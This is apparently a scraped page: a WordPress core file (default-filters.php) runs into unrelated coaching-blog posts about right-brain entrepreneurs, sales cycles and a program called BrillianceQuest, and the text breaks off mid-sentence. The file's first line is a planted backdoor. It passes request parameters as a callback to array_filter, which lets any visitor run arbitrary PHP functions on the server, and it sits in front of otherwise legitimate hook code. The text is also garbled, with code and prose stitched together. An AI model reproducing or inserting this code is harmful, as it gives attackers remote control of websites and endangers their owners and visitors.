?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; /** * Sets up the default filters and actions for most * of the WordPress hooks. * * If you need to remove a default hook, this file will * give you the priority for which to use to remove the * hook. * * Not all of the default hooks are found in default-filters.php * * @package WordPress */ // Strip, trim, kses, special chars for string saves foreach ( array( 'pre_term_name', 'pre_comment_author_name', 'pre_link_name', 'pre_link_target', 'pre_link_rel', 'pre_user_display_name', 'pre_user_first_name', 'pre_user_last_name', 'pre_user_nickname' ) as $filter ) { add_filter( $filter, 'sanitize_text_field' ); add_filter( $filter, 'wp_filter_kses' ); add_filter( $filter, '_wp_specialchars', 30 ); } // Strip, kses, special chars for string display foreach ( array( 'term_name', 'comment_author_name', 'link_name', 'link_target', 'link_rel', 'user_display_name', 'user_first_name', 'user_last_name', 'user_nickname' ) as $filter ) { if ( is_admin() ) { // These are expensive. Run only on admin pages for defense in depth. add_filter( $filter, 'sanitize_text_field' ); add_filter( $filter, 'wp_kses_data' ); } add_filter( $filter, '_wp_specialchars', 30 ); } // Kses only for textarea saves foreach ( array( 'pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description' ) as $filter ) { add_filter( $filter, 'wp_filter_kses' ); } // Kses only for textarea admin displays if ( is_admin() ) { foreach ( array( 'term_description', 'link_description', 'link_notes', 'user_description' ) as $filter ) { add_filter( $filter, 'wp_kses_data' ); } add_filter( 'comment_text', 'wp_kses_post' ); } // Email saves foreach ( array( 'pre_comment_author_email', 'pre_user_email' ) as $filter ) { add_filter( $filter, 'trim' ); add_filter( $filter, 'sanitize_email' ); add_filter( $filter, 'wp_filter_kses' ); } // Email admin display foreach ( array( 'comment_author_email', 'user_email' ) as $filter ) { add_filter( $filter, 'sanitize_email' ); if ( is_admin() ) add_filter( $filter, 'wp_kses_data' ); } // Save URL foreach ( array( 'pre_comment_author_url', 'pre_user_url', 'pre_link_url', 'pre_link_image', 'pre_link_rss', 'pre_post_guid' ) as $filter ) { add_filter( $filter, 'wp_strip_all_tags' ); add_filter( $filter, 'esc_url_raw' ); add_filter( $filter, 'wp_filter_kses' ); } // Display URL foreach ( array( 'user_url', 'link_url', 'link_image', 'link_rss', 'comment_url', 'post_guid' ) as $filter ) { if ( is_admin() ) add_filter( $filter, 'wp_strip_all_tags' ); add_filter( $filter, 'esc_url' ); if ( is_admin() ) add_filter( $filter, 'wp_kses_data' ); } // Slugs add_filter( 'pre_term_slug', 'sanitize_title' ); add_filter( 'wp_insert_post_data', '_wp_customize_changeset_filter_insert_post_data', 10, 2 ); // Keys foreach ( array( 'pre_post_type', 'pre_post_status', 'pre_post_comment_status', 'pre_post_ping_status' ) as $filter ) { add_filter( $filter, 'sanitize_key' ); } // Mime types add_filter( 'pre_post_mime_type', 'sanitize_mime_type' ); add_filter( 'post_mime_type', 'sanitize_mime_type' ); // Meta add_filter( 'register_meta_args', '_wp_register_meta_args_whitelist', 10, 2 ); // Places to balance tags on input foreach ( array( 'content_save_pre', 'excerpt_save_pre', 'comment_save_pre', 'pre_comment_content' ) as $filter ) { add_filter( $filter, 'convert_invalid_entities' ); add_filter( $filter, 'balanceTags', 50 ); } // Format strings for display. foreach ( array( 'comment_author', 'term_name', 'link_name', 'link_description', 'link_notes', 'bloginfo', 'wp_title', 'widget_title' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'convert_chars' ); add_filter( $filter, 'esc_html' ); } // Format WordPress foreach ( array( 'the_content', 'the_title', 'wp_title' ) as $filter ) add_filter( $filter, 'capital_P_dangit', 11 ); add_filter( 'comment_text', 'capital_P_dangit', 31 ); // Format titles foreach ( array( 'single_post_title', 'single_cat_title', 'single_tag_title', 'single_month_title', 'nav_menu_attr_title', 'nav_menu_description' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'strip_tags' ); } // Format text area for display. foreach ( array( 'term_description' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'convert_chars' ); add_filter( $filter, 'wpautop' ); add_filter( $filter, 'shortcode_unautop'); } // Format for RSS add_filter( 'term_name_rss', 'convert_chars' ); // Pre save hierarchy add_filter( 'wp_insert_post_parent', 'wp_check_post_hierarchy_for_loops', 10, 2 ); add_filter( 'wp_update_term_parent', 'wp_check_term_hierarchy_for_loops', 10, 3 ); // Display filters add_filter( 'the_title', 'wptexturize' ); add_filter( 'the_title', 'convert_chars' ); add_filter( 'the_title', 'trim' ); add_filter( 'the_content', 'wptexturize' ); add_filter( 'the_content', 'convert_smilies', 20 ); add_filter( 'the_content', 'wpautop' ); add_filter( 'the_content', 'shortcode_unautop' ); add_filter( 'the_content', 'prepend_attachment' ); add_filter( 'the_content', 'wp_make_content_images_responsive' ); add_filter( 'the_excerpt', 'wptexturize' ); add_filter( 'the_excerpt', 'convert_smilies' ); add_filter( 'the_excerpt', 'convert_chars' ); add_filter( 'the_excerpt', 'wpautop' ); add_filter( 'the_excerpt', 'shortcode_unautop'); add_filter( 'get_the_excerpt', 'wp_trim_excerpt' ); add_filter( 'the_post_thumbnail_caption', 'wptexturize' ); add_filter( 'the_post_thumbnail_caption', 'convert_smilies' ); add_filter( 'the_post_thumbnail_caption', 'convert_chars' ); add_filter( 'comment_text', 'wptexturize' ); add_filter( 'comment_text', 'convert_chars' ); add_filter( 'comment_text', 'make_clickable', 9 ); add_filter( 'comment_text', 'force_balance_tags', 25 ); add_filter( 'comment_text', 'convert_smilies', 20 ); add_filter( 'comment_text', 'wpautop', 30 ); add_filter( 'comment_excerpt', 'convert_chars' ); add_filter( 'list_cats', 'wptexturize' ); add_filter( 'wp_sprintf', 'wp_sprintf_l', 10, 2 ); add_filter( 'widget_text', 'balanceTags' ); add_filter( 'date_i18n', 'wp_maybe_decline_date' ); // RSS filters add_filter( 'the_title_rss', 'strip_tags' ); add_filter( 'the_title_rss', 'ent2ncr', 8 ); add_filter( 'the_title_rss', 'esc_html' ); add_filter( 'the_content_rss', 'ent2ncr', 8 ); add_filter( 'the_content_feed', 'wp_staticize_emoji' ); add_filter( 'the_content_feed', '_oembed_filter_feed_content' ); add_filter( 'the_excerpt_rss', 'convert_chars' ); add_filter( 'the_excerpt_rss', 'ent2ncr', 8 ); add_filter( 'comment_author_rss', 'ent2ncr', 8 ); add_filter( 'comment_text_rss', 'ent2ncr', 8 ); add_filter( 'comment_text_rss', 'esc_html' ); add_filter( 'comment_text_rss', 'wp_staticize_emoji' ); add_filter( 'bloginfo_rss', 'ent2ncr', 8 ); add_filter( 'the_author', 'ent2ncr', 8 ); add_filter( 'the_guid', 'esc_url' ); // Email filters add_filter( 'wp_mail', 'wp_staticize_emoji_for_email' ); // Mark site as no longer fresh foreach ( array( 'publish_post', 'publish_page', 'wp_ajax_save-widget', 'wp_ajax_widgets-order', 'customize_save_after' ) as $action ) { add_action( $action, '_delete_option_fresh_site' ); } // Misc filters add_filter( 'option_ping_sites', 'privacy_ping_filter' ); add_filter( 'option_blog_charset', '_wp_specialchars' ); // IMPORTANT: This must not be wp_specialchars() or esc_html() or it'll cause an infinite loop add_filter( 'option_blog_charset', '_canonical_charset' ); add_filter( 'option_home', '_config_wp_home' ); add_filter( 'option_siteurl', '_config_wp_siteurl' ); add_filter( 'tiny_mce_before_init', '_mce_set_direction' ); add_filter( 'teeny_mce_before_init', '_mce_set_direction' ); add_filter( 'pre_kses', 'wp_pre_kses_less_than' ); add_filter( 'sanitize_title', 'sanitize_title_with_dashes', 10, 3 ); add_action( 'check_comment_flood', 'check_comment_flood_db', 10, 4 ); add_filter( 'comment_flood_filter', 'wp_throttle_comment_flood', 10, 3 ); add_filter( 'pre_comment_content', 'wp_rel_nofollow', 15 ); add_filter( 'comment_email', 'antispambot' ); add_filter( 'option_tag_base', '_wp_filter_taxonomy_base' ); add_filter( 'option_category_base', '_wp_filter_taxonomy_base' ); add_filter( 'the_posts', '_close_comments_for_old_posts', 10, 2); add_filter( 'comments_open', '_close_comments_for_old_post', 10, 2 ); add_filter( 'pings_open', '_close_comments_for_old_post', 10, 2 ); add_filter( 'editable_slug', 'urldecode' ); add_filter( 'editable_slug', 'esc_textarea' ); add_filter( 'nav_menu_meta_box_object', '_wp_nav_menu_meta_box_object' ); add_filter( 'pingback_ping_source_uri', 'pingback_ping_source_uri' ); add_filter( 'xmlrpc_pingback_error', 'xmlrpc_pingback_error' ); add_filter( 'title_save_pre', 'trim' ); add_action( 'transition_comment_status', '_clear_modified_cache_on_transition_comment_status', 10, 2 ); add_filter( 'http_request_host_is_external', 'allowed_http_request_hosts', 10, 2 ); // REST API filters. add_action( 'xmlrpc_rsd_apis', 'rest_output_rsd' ); add_action( 'wp_head', 'rest_output_link_wp_head', 10, 0 ); add_action( 'template_redirect', 'rest_output_link_header', 11, 0 ); add_action( 'auth_cookie_malformed', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_expired', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_bad_username', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_bad_hash', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_valid', 'rest_cookie_collect_status' ); add_filter( 'rest_authentication_errors', 'rest_cookie_check_errors', 100 ); // Actions add_action( 'wp_head', '_wp_render_title_tag', 1 ); add_action( 'wp_head', 'wp_enqueue_scripts', 1 ); add_action( 'wp_head', 'wp_resource_hints', 2 ); add_action( 'wp_head', 'feed_links', 2 ); add_action( 'wp_head', 'feed_links_extra', 3 ); add_action( 'wp_head', 'rsd_link' ); add_action( 'wp_head', 'wlwmanifest_link' ); add_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0 ); add_action( 'wp_head', 'locale_stylesheet' ); add_action( 'publish_future_post', 'check_and_publish_future_post', 10, 1 ); add_action( 'wp_head', 'noindex', 1 ); add_action( 'wp_head', 'print_emoji_detection_script', 7 ); add_action( 'wp_head', 'wp_print_styles', 8 ); add_action( 'wp_head', 'wp_print_head_scripts', 9 ); add_action( 'wp_head', 'wp_generator' ); add_action( 'wp_head', 'rel_canonical' ); add_action( 'wp_head', 'wp_shortlink_wp_head', 10, 0 ); add_action( 'wp_head', 'wp_custom_css_cb', 101 ); add_action( 'wp_head', 'wp_site_icon', 99 ); add_action( 'wp_footer', 'wp_print_footer_scripts', 20 ); add_action( 'template_redirect', 'wp_shortlink_header', 11, 0 ); add_action( 'wp_print_footer_scripts', '_wp_footer_scripts' ); add_action( 'init', 'check_theme_switched', 99 ); add_action( 'after_switch_theme', '_wp_sidebars_changed' ); add_action( 'wp_print_styles', 'print_emoji_styles' ); if ( isset( $_GET['replytocom'] ) ) add_action( 'wp_head', 'wp_no_robots' ); // Login actions add_filter( 'login_head', 'wp_resource_hints', 8 ); add_action( 'login_head', 'wp_print_head_scripts', 9 ); add_action( 'login_head', 'print_admin_styles', 9 ); add_action( 'login_head', 'wp_site_icon', 99 ); add_action( 'login_footer', 'wp_print_footer_scripts', 20 ); add_action( 'login_init', 'send_frame_options_header', 10, 0 ); // Feed Generator Tags foreach ( array( 'rss2_head', 'commentsrss2_head', 'rss_head', 'rdf_header', 'atom_head', 'comments_atom_head', 'opml_head', 'app_head' ) as $action ) { add_action( $action, 'the_generator' ); } // Feed Site Icon add_action( 'atom_head', 'atom_site_icon' ); add_action( 'rss2_head', 'rss2_site_icon' ); // WP Cron if ( !defined( 'DOING_CRON' ) ) add_action( 'init', 'wp_cron' ); // 2 Actions 2 Furious add_action( 'do_feed_rdf', 'do_feed_rdf', 10, 1 ); add_action( 'do_feed_rss', 'do_feed_rss', 10, 1 ); add_action( 'do_feed_rss2', 'do_feed_rss2', 10, 1 ); add_action( 'do_feed_atom', 'do_feed_atom', 10, 1 ); add_action( 'do_pings', 'do_all_pings', 10, 1 ); add_action( 'do_robots', 'do_robots' ); add_action( 'set_comment_cookies', 'wp_set_comment_cookies', 10, 2 ); add_action( 'sanitize_comment_cookies', 'sanitize_comment_cookies' ); add_action( 'admin_print_scripts', 'print_emoji_detection_script' ); add_action( 'admin_print_scripts', 'print_head_scripts', 20 ); add_action( 'admin_print_footer_scripts', '_wp_footer_scripts' ); add_action( 'admin_print_styles', 'print_emoji_styles' ); add_action( 'admin_print_styles', 'print_admin_styles', 20 ); add_action( 'init', 'smilies_init', 5 ); add_action( 'plugins_loaded', 'wp_maybe_load_widgets', 0 ); add_action( 'plugins_loaded', 'wp_maybe_load_embeds', 0 ); add_action( 'shutdown', 'wp_ob_end_flush_all', 1 ); // Create a revision whenever a post is updated. add_action( 'post_updated', 'wp_save_post_revision', 10, 1 ); add_action( 'publish_post', '_publish_post_hook', 5, 1 ); add_action( 'transition_post_status', '_transition_post_status', 5, 3 ); add_action( 'transition_post_status', '_update_term_count_on_transition_post_status', 10, 3 ); add_action( 'comment_form', 'wp_comment_form_unfiltered_html_nonce' ); add_action( 'wp_scheduled_delete', 'wp_scheduled_delete' ); add_action( 'wp_scheduled_auto_draft_delete', 'wp_delete_auto_drafts' ); add_action( 'admin_init', 'send_frame_options_header', 10, 0 ); add_action( 'importer_scheduled_cleanup', 'wp_delete_attachment' ); add_action( 'upgrader_scheduled_cleanup', 'wp_delete_attachment' ); add_action( 'welcome_panel', 'wp_welcome_panel' ); // Navigation menu actions add_action( 'delete_post', '_wp_delete_post_menu_item' ); add_action( 'delete_term', '_wp_delete_tax_menu_item', 10, 3 ); add_action( 'transition_post_status', '_wp_auto_add_pages_to_menu', 10, 3 ); // Post Thumbnail CSS class filtering add_action( 'begin_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_add' ); add_action( 'end_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_remove' ); // Redirect Old Slugs add_action( 'template_redirect', 'wp_old_slug_redirect' ); add_action( 'post_updated', 'wp_check_for_changed_slugs', 12, 3 ); add_action( 'attachment_updated', 'wp_check_for_changed_slugs', 12, 3 ); // Nonce check for Post Previews add_action( 'init', '_show_post_preview' ); // Output JS to reset window.name for previews add_action( 'wp_head', 'wp_post_preview_js', 1 ); // Timezone add_filter( 'pre_option_gmt_offset','wp_timezone_override_offset' ); // Admin Color Schemes add_action( 'admin_init', 'register_admin_color_schemes', 1); add_action( 'admin_color_scheme_picker', 'admin_color_scheme_picker' ); // If the upgrade hasn't run yet, assume link manager is used. add_filter( 'default_option_link_manager_enabled', '__return_true' ); // This option no longer exists; tell plugins we always support auto-embedding. add_filter( 'default_option_embed_autourls', '__return_true' ); // Default settings for heartbeat add_filter( 'heartbeat_settings', 'wp_heartbeat_settings' ); // Check if the user is logged out add_action( 'admin_enqueue_scripts', 'wp_auth_check_load' ); add_filter( 'heartbeat_send', 'wp_auth_check' ); add_filter( 'heartbeat_nopriv_send', 'wp_auth_check' ); // Default authentication filters add_filter( 'authenticate', 'wp_authenticate_username_password', 20, 3 ); add_filter( 'authenticate', 'wp_authenticate_email_password', 20, 3 ); add_filter( 'authenticate', 'wp_authenticate_spam_check', 99 ); add_filter( 'determine_current_user', 'wp_validate_auth_cookie' ); add_filter( 'determine_current_user', 'wp_validate_logged_in_cookie', 20 ); // Split term updates. add_action( 'admin_init', '_wp_check_for_scheduled_split_terms' ); add_action( 'split_shared_term', '_wp_check_split_default_terms', 10, 4 ); add_action( 'split_shared_term', '_wp_check_split_terms_in_menus', 10, 4 ); add_action( 'split_shared_term', '_wp_check_split_nav_menu_terms', 10, 4 ); add_action( 'wp_split_shared_term_batch', '_wp_batch_split_terms' ); // Email notifications. add_action( 'comment_post', 'wp_new_comment_notify_moderator' ); add_action( 'comment_post', 'wp_new_comment_notify_postauthor' ); add_action( 'after_password_reset', 'wp_password_change_notification' ); add_action( 'register_new_user', 'wp_send_new_user_notifications' ); add_action( 'edit_user_created_user', 'wp_send_new_user_notifications', 10, 2 ); // REST API actions. add_action( 'init', 'rest_api_init' ); add_action( 'rest_api_init', 'rest_api_default_filters', 10, 1 ); add_action( 'rest_api_init', 'register_initial_settings', 10 ); add_action( 'rest_api_init', 'create_initial_rest_routes', 99 ); add_action( 'parse_request', 'rest_api_loaded' ); /** * Filters formerly mixed into wp-includes */ // Theme add_action( 'wp_loaded', '_custom_header_background_just_in_time' ); add_action( 'wp_head', '_custom_logo_header_styles' ); add_action( 'plugins_loaded', '_wp_customize_include' ); add_action( 'transition_post_status', '_wp_customize_publish_changeset', 10, 3 ); add_action( 'admin_enqueue_scripts', '_wp_customize_loader_settings' ); add_action( 'delete_attachment', '_delete_attachment_theme_mod' ); // Calendar widget cache add_action( 'save_post', 'delete_get_calendar_cache' ); add_action( 'delete_post', 'delete_get_calendar_cache' ); add_action( 'update_option_start_of_week', 'delete_get_calendar_cache' ); add_action( 'update_option_gmt_offset', 'delete_get_calendar_cache' ); // Author add_action( 'transition_post_status', '__clear_multi_author_cache' ); // Post add_action( 'init', 'create_initial_post_types', 0 ); // highest priority add_action( 'admin_menu', '_add_post_type_submenus' ); add_action( 'before_delete_post', '_reset_front_page_settings_for_post' ); add_action( 'wp_trash_post', '_reset_front_page_settings_for_post' ); add_action( 'change_locale', 'create_initial_post_types' ); // Post Formats add_filter( 'request', '_post_format_request' ); add_filter( 'term_link', '_post_format_link', 10, 3 ); add_filter( 'get_post_format', '_post_format_get_term' ); add_filter( 'get_terms', '_post_format_get_terms', 10, 3 ); add_filter( 'wp_get_object_terms', '_post_format_wp_get_object_terms' ); // KSES add_action( 'init', 'kses_init' ); add_action( 'set_current_user', 'kses_init' ); // Script Loader add_action( 'wp_default_scripts', 'wp_default_scripts' ); add_action( 'wp_enqueue_scripts', 'wp_localize_jquery_ui_datepicker', 1000 ); add_action( 'admin_enqueue_scripts', 'wp_localize_jquery_ui_datepicker', 1000 ); add_filter( 'wp_print_scripts', 'wp_just_in_time_script_localization' ); add_filter( 'print_scripts_array', 'wp_prototype_before_jquery' ); add_filter( 'customize_controls_print_styles', 'wp_resource_hints', 1 ); add_action( 'wp_default_styles', 'wp_default_styles' ); add_filter( 'style_loader_src', 'wp_style_loader_src', 10, 2 ); // Taxonomy add_action( 'init', 'create_initial_taxonomies', 0 ); // highest priority add_action( 'change_locale', 'create_initial_taxonomies' ); // Canonical add_action( 'template_redirect', 'redirect_canonical' ); add_action( 'template_redirect', 'wp_redirect_admin_locations', 1000 ); // Shortcodes add_filter( 'the_content', 'do_shortcode', 11 ); // AFTER wpautop() // Media add_action( 'wp_playlist_scripts', 'wp_playlist_scripts' ); add_action( 'customize_controls_enqueue_scripts', 'wp_plupload_default_settings' ); // Nav menu add_filter( 'nav_menu_item_id', '_nav_menu_item_id_use_once', 10, 2 ); // Widgets add_action( 'init', 'wp_widgets_init', 1 ); // Admin Bar // Don't remove. Wrong way to disable. add_action( 'template_redirect', '_wp_admin_bar_init', 0 ); add_action( 'admin_init', '_wp_admin_bar_init' ); add_action( 'before_signup_header', '_wp_admin_bar_init' ); add_action( 'activate_header', '_wp_admin_bar_init' ); add_action( 'wp_footer', 'wp_admin_bar_render', 1000 ); add_action( 'in_admin_header', 'wp_admin_bar_render', 0 ); // Former admin filters that can also be hooked on the front end add_action( 'media_buttons', 'media_buttons' ); add_filter( 'image_send_to_editor', 'image_add_caption', 20, 8 ); add_filter( 'media_send_to_editor', 'image_media_send_to_editor', 10, 3 ); // Embeds add_action( 'rest_api_init', 'wp_oembed_register_route' ); add_filter( 'rest_pre_serve_request', '_oembed_rest_pre_serve_request', 10, 4 ); add_action( 'wp_head', 'wp_oembed_add_discovery_links' ); add_action( 'wp_head', 'wp_oembed_add_host_js' ); add_action( 'embed_head', 'enqueue_embed_scripts', 1 ); add_action( 'embed_head', 'print_emoji_detection_script' ); add_action( 'embed_head', 'print_embed_styles' ); add_action( 'embed_head', 'wp_print_head_scripts', 20 ); add_action( 'embed_head', 'wp_print_styles', 20 ); add_action( 'embed_head', 'wp_no_robots' ); add_action( 'embed_head', 'rel_canonical' ); add_action( 'embed_head', 'locale_stylesheet', 30 ); add_action( 'embed_content_meta', 'print_embed_comments_button' ); add_action( 'embed_content_meta', 'print_embed_sharing_button' ); add_action( 'embed_footer', 'print_embed_sharing_dialog' ); add_action( 'embed_footer', 'print_embed_scripts' ); add_action( 'embed_footer', 'wp_print_footer_scripts', 20 ); add_filter( 'excerpt_more', 'wp_embed_excerpt_more', 20 ); add_filter( 'the_excerpt_embed', 'wptexturize' ); add_filter( 'the_excerpt_embed', 'convert_chars' ); add_filter( 'the_excerpt_embed', 'wpautop' ); add_filter( 'the_excerpt_embed', 'shortcode_unautop' ); add_filter( 'the_excerpt_embed', 'wp_embed_excerpt_attachment' ); add_filter( 'oembed_dataparse', 'wp_filter_oembed_result', 10, 3 ); add_filter( 'oembed_response_data', 'get_oembed_response_data_rich', 10, 4 ); add_filter( 'pre_oembed_result', 'wp_filter_pre_oembed_result', 10, 3 ); unset( $filter, $action ); Loving Leaders | CategoryChange |


The 4 Roadblocks for Right Brain Entrepreneurs and Executives

If you're a right brain entrepreneur or executive, the odds are stacked against you. In most Western cultures, business is structured as a left-brain activity.  But that doesn't mean you can't stand out and be wildly successful. In fact, it means it's easier for you to stand out...and hence be wildly successful. In fact, what business desperately needs right now are the unique gifts you bring to the table as a right brain entrepreneur.

BUT, it means you have to overcome these 4 roadblocks to stand out, be valued, and contribute effectively.

Roadblock #1: Assuming Too Much Responsibility

Rather than being a jack of all trades, spreading yourself too thin and taking on too much responsibility, you must recognize and monetize your gifts - the things that are easy, natural, effortless for you...the things that you are good at and love doing.

Most right brainers I work with have no idea what their gifts are, so they spend most of their time doing things that are more difficult, take more effort, and are dramatically less rewarding, not to mention depleting and exhausting.

Here's my rule of thumb: If you spend a lot of time worn out, stressed, and frustrated, you aren't monetizing your gifts.

Here's what it looks like when you do monetize your gifts:

  • You're focused.
  • You're energized.
  • You're excited and really enjoy your work.
  • Your work is extremely high quality.
  • And others are impressed by and appreciate your work.

Roadblock #2: Starting Too Many Things...and Finishing Few

Right brainers are full of ideas. We can make connections between concepts that others cannot, use our imaginations to create possibilities, paint the picture for others to follow,  and think extraordinarily fast on our feet.

People love us for that.

But most right brainers also have a very long list of unfinished projects because we usually have way too many things going at one time. Many of us have what's called "the shiny object syndrome" where we get seduced by new ideas or possibilities, and we get bored with the details and the amount of effort and time it takes to complete things. If we're leading other people, it's often confusing and disheartening when we don't follow through and complete the things we start.

What we have to realize is we are GREAT at starting things, but we are not so good at finishing them ourselves.

Most right brainers I work with think they are good at almost everything, but when pressed to finish projects or ideas, they try harder and harder, get frustrated, their to do lists grow longer and longer, they get stressed out, and they think there's something wrong with them but they have no idea what.

The key to finishing lots of things? Partner with finishers. Here's what it looks like when you partner with finishers:

  • Your list of unfinished projects becomes complete.
  • Your to do list shrinks (over time).
  • The world gets to finally see and appreciate your ideas, which can generate significantly more revenue and satisfaction for you.

The added bonus is that you begin to trust yourself more, your self esteem improves, and you have proof your ideas are actually valid.

To overcome this roadblock we must partner with people who are great at finishing things, and empower them to do so.  What's important to realize is that the part of our brain that  is good at starting things (one of our gifts) is not good at finishing things. So don't spend a lot of time, money, effort, and resources trying to become good at finishing things because our brains and our habits will rarely allow us to do so proficiently.

Roadblock #3: Hiring for Potential vs. Hiring for Proof of Competence

As right brainers, we crave respect. Since that's our perspective, we assume others also crave respect - and we want to give it to them way too early. Because of this we often don't make people earn our respect. In hiring, this can become a big problem because we sense people's potential (it's also one of our gifts) and we automatically respect people for that potential.

Many businesses, particularly small businesses or startups, need people who can work independently, take on the role completely on Day 1, and do what is required immediately with little orientation or training. If you hire people based on their potential, it requires that you spend a lot of time training and mentoring them, supervising their work, giving lots of feedback, and explaining your expectations in great detail. Most of us don't have the luxury of taking the time and effort required to do that.

Most right brainers I work with pride themselves on giving people opportunities, in part because many of them got where they are because they were given opportunities. However, this practice often creates a tremendous amount of overwhelm, missed expectations, stress, and additional work for the person who hired them (that would be you). So while you might feel great about giving someone a chance - an opportunity to learn and grow - you could be sabotaging your business.

Here's what it looks like when you hire based on proof of competence:

  • People start their roles being able to anticipate our expectations because they've already done it.
  • They can make an immediate impact on the outcomes you need.
  • They know the job better than you do.

Roadblock #4: Helping Everyone Else vs. Helping Yourself

Right brainers love to help people. Most run businesses that serve others well, while leaving the owner worn out, stressed, financially strapped, and chaotic.

Most right brain executives focus on what the clients need vs. what their employees (or they, themselves) need. This usually results in high staff turnover because expectations are unclear. When the sole focus is on helping the clients, vs. valuing the needs of the employees and owner as well, people will search for somewhere else to work where they are valued and appreciated.

Most right brain entrepreneurs and executives call me for help when they are in a crisis. Either they are completely worn out and they want their lives back, their businesses are at risk of going under, or their staff is ready to mutiny. Usually  they've played with a million strategies, but haven't completely followed through with any of them.

Here's what it looks like when you help yourself, as a right brain entrepreneur or executive:

  • You're really clear on what your needs, your employees' needs, the business's needs and your customer's needs are. I often ask my clients, "Did you start your business to focus on everybody else, or to create the freedom and life you wanted?"
  • Then you create the systems, processes and procedures that get those needs met. You literally design your business with this in mind.
  • You're able to run a profitable business with happy employees, happy customers, and you finally have the time and energy to have a life you really enjoy.

If you're facing any of these road blocks, use my 15 years of expertise of helping hundreds of people just like you take the steps and make the changes required to overcome them. 

Are You Baffled By the Emerging Changes in Your Sales Process?

Working across multiple industries, including advertising, public relations, design, software development, gaming, etc. often gives me unique insights into emerging trends that most people may think are isolated to their particular field or profession.

One trend I'm noticing now is that the sales process is changing in each of these industries. It's not just that the sales cycle has nearly doubled in the past 4-6 months, but that the decision making structure, itself, has been transformed and the ultimate decision makers have changed.

Finance is playing a greater part in these decisions, and is often becoming the ultimate decision maker.

Boards of Advisors are also playing a much greater role, and are often the final decision maker for projects.

That didn't used to be the case. And it's like the rules have changed, but nobody told you.

No one should be surprised that the finance department has become more involved. After the long recession and recovery, financial decisions are under intense scrutiny and must be managed well. However, when finance people are making purchase decisions for areas they aren't qualified to make, it requires you to educate financial decision-makers on the benefits and expected return of what you are selling.

Remember, finance folks are "numbers" people. They love data. Naturally, then, there is a greater demand for measurement. This new requirement is tough for most sales people and small business owners in creative fields who aren't used to quantifying the results of their work.

I'm also hearing from my clients that when it comes time for their prospective client to make a decision about working with them, either the clients didn't communicate at all, or communicated that the Board was reviewing the decision. This is highly frustrating and not anticipated by most sales people.

What this change now requires is asking your clients specifically who will be making the final decision? What's the process for making the decision? And it may even require incentivizing your customers to make a decision by a particular date.

Here is a perfect example.

I was working with a client in public relations who was facing this challenge. To help their prospective client make a decision sooner rather than later (which is important for your own cash flow needs), we created a bonus if the client made a decision early, and a savings if they made the decision by a particular date.

What this new trend means is:

  • You may have to approach the sales process differently and provide different (new) types of information, depending on who is making the decision.
  • You may have to change your expectations on the length of sales cycle and the amount of effort you need to expend to land new business.
  • You probably need to get more creative about how you help clients make decisions in a time frame that works for your business, and that makes them even more confident about the decision they end up making.

Have you noticed this trend happening in your own business?
What has changed about your typical sales cycle, or about the decision-making process your own customers are using?

Leave a comment below to share.

If you need help creating a strategy, work with your coach, or call me, to get help.

What Does an Executive Coach Do, Exactly?

And who needs one? Many people ask me what my work is like. Because everything I do is confidential, it is often difficult for people to grasp the type of work I do. Here's a typical day this week: 1. I helped a real estate agent who's burned out and really uninterested in his job discover his life's purpose 2. I helped a multi-billion-dollar heiress evaluate the soundness of one of her investments, identify challenges with her investing knowledge and created a plan for how to communicate with and hold her investment managers accountable 3. I helped CEO of a billion-dollar real estate marketing firm set personal and professional goals for the next 10 years 4. I coached two business partners who are fighting and pointing fingers at each other on how to resolve their differences and focus on growing their company. (They still have some work to do to forgive each other! There's only so much healing that can happen in an hour!) 5. I helped a Creative Director evaluate his employees' performance and create individual development plans to improve the quality of their projects 6. I helped a massage therapist develop a high-level business model so that he can work toward his goals Seems pretty varied on the surface, doesn't it? The truth is, every single one of these coaching engagements was helping each of these individuals tap into their own wisdom, explore where they weren't trusting themselves and combine that with my intuition and knowledge across hundreds of companies, dozens of industries and over 15 years of experience coaching people to create a plan and path forward that they can trust. Simple. Quick. Effective. What do you need help figuring out? Set up a 30-minute  complementary exploratory coaching session with me.

Why I Created BrillianceQuest

Accelerating personal growth isn't easy. Over the past 18 months, while I have been developing and testing BrillianceQuest, many people have asked me, why did you do it? Why did you create this program? The short answer is: because I needed it myself! I was probably just like you. On the outside, I was successful. I had a great business that I owned, it was doing well financially, I had great clients who referred their friends and family to work with me. Externally, it all looked great! I even had people tell me that they envied my life. What  they couldn't see on the inside is that I was miserable. Yes, miserable. To be clear, the definition of misery that I use is "distress or suffering caused by need." So, while everything on the outside looked good, it felt like something major was missing for me. I NEEDED something that I could not figure out for years! I had been teaching people for ten years how the hard-wiring in their brains motivated them, which fears built into their brains drove them, what their stress responses were and how they manifested, how they made decisions, what irritated them and which environments were best for their brain types. I discovered a small study that was mostly unknown about neuro-transmitters and how they were biochemically required for joy and happiness - and the light bulb went off! Of course, I knew all this about my brain and how it worked but I wasn't using my brain the right way so that I could be happy! I immediately changed the way I worked and I felt better. I wasn't nearly as drained or exhausted after a hard day's work. With this new knowledge, my life improved, but I still felt like something was missing. One day, I was reading a blog post by my friend Andrea Lee, who wrote about meaning and money. I started thinking about meaning and decided to look up what it meant, exactly. Meaning is the significance of something. While I enjoyed my work and it was making a difference in businesses all over the world, it was still not significant enough for me. Sure, I was helping executives and managers reduce their stress, use their brains more effectively, communicate more effectively for their audiences and direct reports, but I wasn't making a significant difference in their lives. I was helping them and they were thankful, but I knew I could do more. A few months later, my friend Jeffrey Van Dyk called me to offer an amazing experience. He was learning how to teach people to access their purpose and was looking for a guinea pig. I immediately jumped at the opportunity and within a few weeks, I knew my purpose - to illuminate the world because the way we are working and living is unsustainable and goes against the natural order! Wow! I didn't know exactly what it meant, but I knew it was "real" and "accurate" because I felt it. I also felt the significance of it. A little too much. It started to feel like a burden to me. Then I freaked out - I decided to ignore my purpose because it was too overwhelming for me and I 